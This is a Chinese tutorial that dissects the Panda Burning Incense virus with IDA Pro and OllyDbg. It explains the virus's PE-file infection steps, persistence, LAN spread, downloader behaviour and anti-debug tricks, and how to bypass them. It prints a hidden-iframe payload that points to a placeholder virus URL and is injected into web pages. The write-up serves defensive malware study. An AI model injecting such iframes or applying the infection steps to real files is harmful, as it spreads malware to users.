逆向工程实战:用IDA与OllyDbg深度剖析熊猫烧香病毒
1. 项目概述:一次对经典恶意代码的深度“解剖”
十几年前,一个名为“熊猫烧香”的病毒席卷了国内互联网,其破坏力之强、传播之广,让它成为了中国网络安全史上一个标志性的事件。时至今日,它依然是安全研究、逆向工程入门绕不开的经典案例。很多人可能觉得,分析一个“过时”的病毒有什么意义?恰恰相反,它的价值正在于其“经典性”。它集成了文件感染、网络传播、自我保护、破坏性载荷等多种恶意软件常见技术,且代码结构相对清晰,是理解恶意软件运作原理、掌握逆向分析基本功的绝佳“标本”。
这次,我们不满足于只看分析报告,而是要亲手拿起“手术刀”——IDA Pro和OllyDbg(OD),像法医解剖一样,从静态到动态,完整地拆解这只“熊猫”。我们的目标不是复现病毒,而是通过逆向工程,彻底理解它的核心功能模块是如何实现的,包括它如何感染文件、如何隐藏自身、如何通过网络扩散,以及最终如何实施破坏。整个过程,我会结合IDA的静态反汇编分析与OD的动态调试跟踪,并附上完整的调试过程记录和内存快照。无论你是刚接触逆向的新手,还是想巩固基础的安全从业者,这篇实战记录都能为你提供一条清晰的路径和一堆可以避开的“坑”。
2. 分析环境与样本准备:构建安全的“无菌实验室”
在开始任何恶意软件分析之前,搭建一个绝对隔离、可控的分析环境是重中之重。这不仅是保护你主力机的第一道防线,也是确保分析过程可复现、结果可信的关键。
2.1 虚拟化环境搭建与网络隔离
我强烈建议使用虚拟机(VM)进行分析。我选择的是VMware Workstation,因为它对硬件调试的支持相对较好。创建一个干净的Windows XP SP3虚拟机作为分析机。选择XP系统是因为“熊猫烧香”主要针对该时代系统,且系统相对简单,干扰少。
注意:切勿在分析机上安装任何杀毒软件或安全工具,它们会干扰病毒样本的执行和我们的调试行为,导致分析失败。
网络配置是核心安全环节。必须将虚拟机的网络适配器设置为“主机模式”或“NAT模式”,并在虚拟机内部禁用所有网络适配器。更稳妥的做法是,在VMware的虚拟网络编辑器中,直接断开该虚拟机的虚拟网卡。我们的目标是让样本在“断网”状态下运行,防止其意外连接外部服务器进行扩散或下载其他恶意组件。同时,在主机防火墙中,可以设置规则禁止虚拟机IP的任何出站连接,构成双重保险。
2.2 分析工具链配置与样本获取
工欲善其事,必先利其器。我们的核心工具是:
- IDA Pro (Interactive Disassembler):用于静态分析。我将使用IDA 7.0版本,它对旧版PE文件的支持稳定。需要配置好合适的处理器类型(x86)和加载选项。
- OllyDbg (OD):用于动态调试。我选用经典的OllyDbg 1.10,其界面和插件生态对初学者友好。务必准备好强大的插件,如StrongOD(反反调试)、PhantOm(隐藏调试器)等。“熊猫烧香”具备一定的反调试能力,这些插件能帮助我们绕过检测。
- 辅助工具:Process Explorer(查看进程、句柄、DLL)、Procmon(监控文件、注册表操作)、Wireshark(虽然断网,但可监控回环流量,分析其网络行为意图)、PEiD(查壳,不过熊猫烧香通常未加壳)。
关于样本,出于法律和安全考虑,我不会提供任何下载链接。你可以从一些知名的恶意软件研究资源库或学术机构提供的样本集中寻找,确保仅用于合法的研究目的。获取样本后,先在其MD5/SHA1值,与公开的病毒数据库(如VirusTotal)中的已知样本哈希进行比对,确认你拿到的是正宗的“熊猫烧香”变种。
2.3 分析机状态快照与调试策略
在启动样本前,为虚拟机创建一个“干净快照”。这样,每次分析运行后,都可以一键恢复到初始状态,保证每次实验的起点一致。同时,用Process Explorer和Procmon记录下系统初始的进程列表、关键系统目录(如C:\Windows\,C:\Windows\System32\)的文件状态,以便后续对比。
我的调试策略是“动静结合,由外而内”。首先用IDA进行全局的静态浏览,了解程序的大致结构、导入函数(哪些API被调用,暗示了其功能),识别出可能的核心函数(如文件操作、注册表操作、网络相关函数簇)。然后,在OD中动态运行,通过设置断点、单步执行,验证静态分析的猜想,并观察其运行时行为(创建了哪些文件、进程,修改了哪些注册表项)。
3. 静态分析先行:用IDA揭开病毒的“静态面纱”
在运行病毒之前,我们先在IDA中打开样本,进行一轮“冷读”。这能让我们对病毒的整体架构有一个宏观认识,避免在动态调试中像无头苍蝇一样乱撞。
3.1 入口点识别与初步反汇编
将样本拖入IDA,它会自动识别为PE文件,并定位到入口点(Entry Point)。对于“熊猫烧香”,入口点代码通常不是直接的用户逻辑,而是一段启动代码(startup code),负责一些初始化工作,然后跳转到主要的WinMain或用户定义的主函数。
在IDA的“函数窗口”中,寻找像WinMain、main、start这样的函数,或者通过查看导入函数表(Imports),寻找GetCommandLineA、GetStartupInfo等典型Win32 GUI/控制台程序入口函数附近的调用,来定位主逻辑函数。我找到的主函数开头往往有典型的栈帧建立指令(push ebp; mov ebp, esp)。
通过静态浏览主函数,我发现了几个关键代码块:
- 自复制与持久化:代码中调用了
GetModuleFileNameA获取自身路径,然后结合CopyFileA或CreateFile/WriteFile等API,将自身复制到系统目录(如%SystemRoot%\或%SystemRoot%\System32\)下,并可能重命名为一个看似正常的系统文件名(如spoclsv.exe)。同时,发现了对RegSetValueExA的调用,参数指向SOFTWARE\Microsoft\Windows\CurrentVersion\Run,这证实了其通过注册表实现开机自启动。 - 文件遍历与感染逻辑:存在循环结构,内部调用了
FindFirstFileA/FindNextFileA,搜索路径通常是C:\、D:\等根目录,以及*.exe、*.scr等扩展名。在循环体内,有文件打开(CreateFile)、读写(ReadFile/WriteFile)、关闭(CloseHandle)的操作,这极有可能是感染例程。 - 网络功能模块:虽然导入表中可能有
WS2_32.dll(Winsock库)的函数,如socket,connect,send,但在静态代码中,这些网络调用可能被封装在某个子函数里,或者条件触发。需要留意对特定IP地址或域名的字符串引用。 - 反调试与自我保护:可能会看到对
IsDebuggerPresent、CheckRemoteDebuggerPresent等API的调用,或者一些手动检查调试器标志(如PEB.BeingDebugged)的汇编指令。还可能发现创建互斥体(CreateMutexA)防止多实例运行,以及提升权限(AdjustTokenPrivileges)的代码。
3.2 关键字符串与函数交叉引用分析
IDA的“字符串窗口”是宝藏。在这里,我搜索到了大量中文和英文的错误信息、文件路径、注册表路径、URL等。例如:
”GameOver”或”WhBoy”:这可能是病毒作者留下的签名或感染标记。”*.exe”,”*.htm”,”*.html”:指示其感染的目标文件类型。”SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”:自启动项。”%SystemRoot%\\system32\\drivers\\etc\\hosts”:可能意图修改hosts文件,屏蔽安全网站。- 一些特定的URL或IP地址:可能是病毒下载更多载荷或上报信息的地址。
双击这些字符串,IDA会跳转到引用它们的位置。通过交叉引用(Xrefs),我可以快速定位到进行文件感染、注册表修改、网络通信的具体函数。例如,追踪到一个包含”*.exe”字符串的函数,很可能就是文件感染例程的一部分。
3.3 感染逻辑的静态推演
通过静态分析,我已经可以初步勾勒出感染逻辑。病毒可能采用“PE文件追加”或“缝隙插入”的方式。在代码中,我寻找文件映射(CreateFileMappingA/MapViewOfFile)、PE头解析(操作IMAGE_DOS_HEADER.e_lfanew、IMAGE_NT_HEADERS)、节表(IMAGE_SECTION_HEADER)操作的代码。特别是寻找计算文件偏移、移动文件指针、在文件末尾或节间隙写入数据的代码段。通常,病毒体会被加密或编码,所以在感染例程中,可能还会看到一个解密循环(涉及XOR操作或简单的加减法运算)。
4. 动态调试实战:用OD跟踪病毒的“一举一动”
静态分析给了我们地图,动态调试则是亲自踏上征途。现在,我们打开OD,附加到目标进程(如果是EXE,直接打开),开始实时观察病毒的行为。
4.1 绕过反调试与定位核心代码
首先,在OD中加载样本。如果病毒直接运行并退出,或者OD意外关闭,说明触发了反调试。这时,需要启用StrongOD等插件的“隐藏调试器”功能,并在OD的调试选项中设置相关标志。也可以在病毒调用IsDebuggerPresent的指令处下断点,然后修改其返回值(将EAX改为0)。
我采取的策略是,先在IDA中找到疑似主逻辑函数(比如感染循环的起点)的地址,然后在OD中对该地址下断点(F2),再运行程序(F9)。程序会在断点处暂停,此时我们就进入了病毒的核心逻辑区域。
4.2 逐步跟踪感染流程
当程序在感染函数中断下后,我开始单步(F7/F8)执行,并密切关注寄存器窗口和堆栈窗口的变化。
- 文件遍历:当执行到
FindFirstFileA时,堆栈上会显示要搜索的路径(如C:\*.exe)。执行后,返回值(句柄)保存在EAX中。随后进入循环,FindNextFileA会被反复调用。每一步,我都在数据窗口中跟随存储文件名的缓冲区,看看它找到了哪些文件。 - 文件打开与判断:找到目标文件后,病毒会调用
CreateFileA打开它。这里可以下条件断点,断在特定文件名上,以便专注于分析对一个文件的感染过程。打开文件后,病毒通常会读取文件头部(ReadFile),判断是否是有效的PE文件(检查MZ和PE标志),以及是否已被感染(检查特定标记,比如在PE头某个保留字段或节表中写入的魔术字)。 - 执行感染:如果文件可感染,病毒会开始计算感染位置。我观察到它可能会调用
SetFilePointer将文件指针移动到文件末尾,或者通过MapViewOfFile将文件映射到内存。在内存中,它会修改PE头的AddressOfEntryPoint,使其指向病毒代码(通常附加在文件末尾或最后一个节的空隙中),并调整SizeOfImage等字段。同时,将原始的入口点地址保存到病毒体的某个位置,以便执行完病毒代码后跳转回原程序。 - 写入病毒体:最关键的一步是写入病毒体本身。病毒体可能在内存中是加密的。我会在调用
WriteFile或内存拷贝指令(如rep movsd)时,检查写入的目标地址和内容。通过内存转储(在数据窗口选中区域,右键->Backup->Save to file),可以将病毒体代码提取出来,供后续单独分析。 - 修复与关闭:写入完成后,病毒会修复被感染文件的校验和(可选),然后关闭文件句柄。整个过程在一个循环中,对目录下的每个可执行文件重复。
在调试过程中,我同时用Procmon监控,可以清晰地看到病毒对文件系统的所有操作序列,与OD中的代码执行流相互印证。
4.3 网络传播与破坏行为的捕捉
由于我们断网了,病毒的网络连接尝试会失败(connect返回错误)。但在OD中,我们可以在socket、connect、send等函数上设置断点。当断点命中时,观察堆栈参数,可以知道它试图连接哪个IP和端口,以及准备发送什么数据(数据缓冲区内容)。这有助于理解其网络传播机制(可能是扫描局域网、尝试连接IRC服务器作为僵尸网络控制端,或下载其他模块)。
对于破坏性行为,如删除文件、格式化磁盘、覆盖MBR等,通常会调用DeleteFileA、_wsystem(执行命令行)等函数。在OD中跟踪到这些调用时,需要格外小心,可以在调用前修改EIP跳过这些危险指令,或者提前在虚拟机快照中做好备份。
5. 核心功能模块深度解析
通过动静结合的分析,我们可以系统地总结“熊猫烧香”的几个核心功能模块。
5.1 文件感染机制详解
“熊猫烧香”主要感染本地和网络驱动器上的*.exe,*.scr,*.pif,*.com等可执行文件,以及*.htm,*.html,*.asp,*.php等网页文件。对于可执行文件,它采用经典的“PE文件追加”方式。
感染步骤:
- 检查与标记:打开目标文件,检查PE签名。在
IMAGE_NT_HEADERS.OptionalHeader的某个保留字段(如CheckSum后的字段)或某个节表的名称字段,写入感染标记(如”WhBoy”)。如果已存在标记,则跳过。 - 计算植入位置:将病毒体(经过简单加密)追加到文件的最后一个节(
.rsrc或新增一个节)的末尾。计算新的入口点(NewEntryPoint = OriginalEntryPoint + VirusSize?不,通常是病毒体在内存中的起始RVA)。 - 修改PE头:
- 将
OptionalHeader.AddressOfEntryPoint修改为病毒体的入口点RVA。 - 增加
OptionalHeader.SizeOfImage,使其包含病毒体的大小。 - 如果病毒体放在新增的节中,需要添加一个
IMAGE_SECTION_HEADER,并设置其VirtualAddress,SizeOfRawData,Characteristics(通常为可读、可写、可执行)。
- 将
- 保存原始入口点:将原始的
AddressOfEntryPoint值保存在病毒体内部的某个固定偏移处。 - 写入病毒体:将加密后的病毒体代码写入到文件计算好的偏移位置。
- 修复(可选):重新计算并更新
OptionalHeader.CheckSum。
对于网页文件,它会在文件末尾插入一段利用IE漏洞的恶意脚本代码(如<iframe src=”病毒网址” width=0 height=0></iframe>),当用户浏览该网页时,可能自动下载并执行病毒。
实操心得:在OD中调试感染过程时,最好针对一个简单的、自己编写的测试
exe进行。这样文件结构清晰,便于观察每一步修改。可以在感染前后分别用PE工具(如LordPE)查看PE头信息,对比变化。
5.2 持久化与自启动技术
病毒为了在系统重启后依然存活,采用了多种持久化手段:
- 注册表自启动:这是最主要的方式。病毒将自身副本的路径写入
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run或HKEY_LOCAL_MACHINE下的对应位置。在代码中,表现为对RegCreateKeyA和RegSetValueExA的调用。 - 系统目录隐藏:将自身复制到
%SystemRoot%\system32\或%SystemRoot%\目录下,并命名为类似spoclsv.exe、winlogon.exe(与系统进程名相似)的名字,利用用户的疏忽进行隐藏。 - 文件属性隐藏:感染后,通过
SetFileAttributesA为自身副本或生成物设置FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM属性,使其在默认的文件夹选项中不可见。 - 进程注入或守护进程:某些变种会创建两个进程相互守护,或者将代码注入到
explorer.exe等系统进程中,结束一个另一个会立即将其重启。
在OD中,可以在RegSetValueExA和CopyFileA函数上设置断点,准确捕获其持久化行为的具体参数(写入的注册表路径、复制的目标路径)。
5.3 网络传播与后门功能分析
虽然我们的环境断网,但通过静态分析和动态断点,可以推断其网络行为:
- 局域网传播:可能通过扫描局域网内其他主机的默认共享(如
IPC$,ADMIN$),并尝试使用弱口令或空口令进行连接。一旦成功,就将病毒副本复制到对方的共享目录下。这涉及WNetAddConnection2A(建立网络连接)和远程文件操作API。 - 下载者功能:病毒体内可能硬编码了几个URL。它会尝试从这些URL下载更新版本的病毒体或其他恶意软件(如盗号木马)。这通过
URLDownloadToFileA或WinHttp系列API实现。 - 信息上报:可能会收集本机信息(计算机名、用户名、IP地址等),并通过HTTP POST或自定义协议发送到指定的服务器。这解释了为什么其导入表中会有
wininet.dll或ws2_32.dll的函数。 - 僵尸网络(Botnet):部分变种可能连接到一个IRC服务器,加入特定频道,接受攻击者发布的命令(如发起DDoS攻击、更新配置等)。这需要解析IRC协议。
注意事项:分析网络功能时,即使断网,也要在OD中让代码执行到网络调用部分,然后分析其准备发送的数据缓冲区(内存区域)。这些数据往往包含了重要的配置信息或上报数据格式。可以使用OD的“数据窗口中跟随”功能,查看缓冲区的原始字节和ASCII字符串。
5.4 反分析(反调试、反虚拟机)技巧识别
“熊猫烧香”采用了一些基础的反分析技术:
- 反调试:直接调用
IsDebuggerPresent。在OD中,可以通过插件绕过,或者手动在调用后修改EAX寄存器值为0。 - 时间延迟:在关键循环或函数开始处调用
Sleep函数,延缓分析人员的调试速度,或干扰基于时间的分析。 - 检测虚拟机:通过执行一些特权指令(如
sidt,sgdt)并检查结果,或者查询特定的注册表键、进程列表、硬件信息(如通过GetSystemInfo或CPUID指令)来检测是否运行在VMware/VirtualBox等虚拟机中。检测到后,可能改变行为或直接退出。 - 多线程与代码混淆:创建多个线程,相互配合或进行干扰,增加动态跟踪的难度。代码中可能夹杂大量无用的跳转、垃圾指令,干扰反汇编器的分析。
在OD中,遇到程序无故退出或行为异常时,就要考虑是否触发了反分析代码。可以在常见的反调试API和检测虚拟机的代码片段上下断点,观察其执行路径。
6. 调试过程全记录与问题排查
这里分享一次完整的调试会话中遇到的关键节点和解决方法。
6.1 调试会话记录
- 启动与入口:用OD加载
panda.exe。入口点是一段编译器生成的启动代码。我按F8(步过)直到看到一个CALL指令,后面跟着JMP跳转到一个函数,这个函数内部调用了GetCommandLineA,确认是WinMain。 - 定位主逻辑:在
WinMain中,我搜索字符串引用,找到了”GameOver”。交叉引用到函数sub_401000。对这个函数开头下断点,F9运行,程序中断在此。 - 跟踪自复制:在
sub_401000中,单步执行发现调用了GetModuleFileNameA,结果保存在一个缓冲区,内容是当前病毒路径。紧接着调用了CopyFileA,目标路径是C:\WINDOWS\system32\drivers\spoclsv.exe。至此,自复制行为被捕获。 - 分析感染循环:继续执行,进入一个大循环。循环内调用了
FindFirstFileA(”C:\\*.exe”)。我在FindNextFileA上设断点,每次命中时,在堆栈窗口查看找到的文件名。当找到一个test.exe(我预先放置的)时,我让程序执行后续的CreateFileA。 - 单步感染:打开
test.exe后,程序读取了文件头,并计算了一些值。我观察到它检查了PE头中OptionalHeader的[Reserved1]字段(偏移0x5C),判断是否为0。如果是0,则认为是未感染。然后,它计算文件大小,调用SetFilePointer移动到文件末尾,准备写入。在写入前,有一段循环对一段内存数据进行XOR 0xAA操作——这是解密病毒体!我将解密后的内存区域(约10KB)转储保存。 - 修改PE头:写入病毒体后,程序又定位回PE头,修改了
AddressOfEntryPoint(改为文件末尾的RVA),并增加了SizeOfImage。我使用LordPE在调试过程中实时查看test.exe的内存镜像,确认了修改。 - 绕过反调试:在调试网络部分代码时,程序突然退出。我回溯发现,在调用
connect之前,有一个call ds:IsDebuggerPresent,返回值被测试并跳转。我在这个call之后下断点,将EAX寄存器手动改为0,然后继续执行,程序顺利执行到网络代码部分(虽然connect会失败)。
6.2 常见问题与解决技巧
| 问题现象 | 可能原因 | 排查与解决技巧 |
|---|---|---|
| OD加载程序后立即运行结束 | 1. 程序是控制台程序,执行完退出。 2. 触发了反调试(如 IsDebuggerPresent)。3. 程序需要命令行参数。 | 1. 在入口点(或WinMain)直接下断点。2. 使用StrongOD插件隐藏调试器,或在反调试API调用后修改返回值。 3. 在OD的调试选项或命令行参数中提供参数。 |
| 单步执行时程序跑飞或崩溃 | 1. 跟踪进入了系统DLL领空(如ntdll.dll)。2. 遇到了异常或非法指令。 3. 多线程干扰。 | 1. 使用OD的“执行到用户代码”功能(Alt+F9)。 2. 检查OD的异常设置,忽略一些常见异常。仔细检查上一步执行的指令是否操作了非法内存。 3. 暂停其他线程,或使用OD的线程管理功能专注于主线程。 |
| 无法在关键函数(如感染函数)下断点 | 1. 函数地址是动态计算的(如通过call [eax+xx])。2. 代码被加壳或混淆。 | 1. 在函数被调用前的某个固定位置(如FindFirstFileA调用处)下断点,然后步进到目标函数。2. “熊猫烧香”通常未加壳。如果遇到,需要先寻找OEP并脱壳,再进行静态分析。 |
| 动态行为与静态分析不符 | 1. 病毒采用多态或解密执行。 2. 某些代码路径由条件触发(如日期、特定文件存在)。 | 1. 在OD中,关注内存中解密后的代码区域,而不是文件中的原始字节。 2. 在静态分析时注意条件跳转,在动态调试时尝试满足或修改条件(如修改标志寄存器)以触发不同路径。 |
| Procmon捕获到大量无关操作 | 系统后台进程活动干扰。 | 在Procmon中设置过滤器(Filter),只显示目标进程(panda.exe)的操作,或者只关注文件、注册表、进程特定类型的操作。 |
独家避坑技巧:
- 双机调试:对于更复杂的、会检测本地调试器的样本,可以考虑使用双机调试(两台虚拟机通过串口连接,一台运行样本,另一台用WinDbg调试)。这能彻底隐藏调试器。
- 脚本化分析:对于重复性的操作(如记录每个被感染的文件名),可以编写OD的脚本插件(如ODbgScript)来自动化,提高效率。
- 内存断点是利器:当病毒将解密后的代码或配置数据写入某个内存区域后,想知道谁在读取它,可以在该内存地址上设置“内存访问断点”。当有指令读取该地址时,OD会中断,帮你快速定位到关键的解析或使用代码。
- 善用“执行到返回”:当进入一个不关心的系统API或复杂子函数时,不要一步步跟进去,按
Ctrl+F9(执行到返回),会快速执行到当前函数的RETN指令处。
7. 总结与延伸思考
完成对“熊猫烧香”的逆向分析,就像完成了一次完整的解剖实验。你不仅看到了它的“器官”(各个功能模块),更理解了它们如何“协作”(执行流程)。这个过程巩固了PE文件结构、Windows API、反调试技巧等基础知识。
我个人最大的体会是,逆向分析没有捷径,就是“大胆假设,小心求证”。静态分析时做出的每一个猜想(比如“这里可能是在感染文件”),都要在动态调试中去验证。OD中的每一步执行,都要问自己“现在寄存器里是什么?堆栈里是什么?这段代码想要达到什么目的?”。积累的多了,看到FindFirstFileA后面紧跟着CreateFile和WriteFile,你就能立刻意识到这是一段文件感染或释放的代码。
这个样本虽然古老,但其中蕴含的技术思想(持久化、传播、反分析)在现代恶意软件中依然以更复杂的形式存在。分析完它之后,你可以尝试挑战一些更现代的样本,比如使用API哈希(避免字符串)、动态解析API地址、使用更复杂加密(如AES)、或利用新型漏洞的恶意软件。每一次分析,都是对自身技能的一次锤炼。最后,务必记住,所有分析都必须在隔离环境中进行,并将获得的知识用于防御和建设,这才是安全研究的真正价值所在。
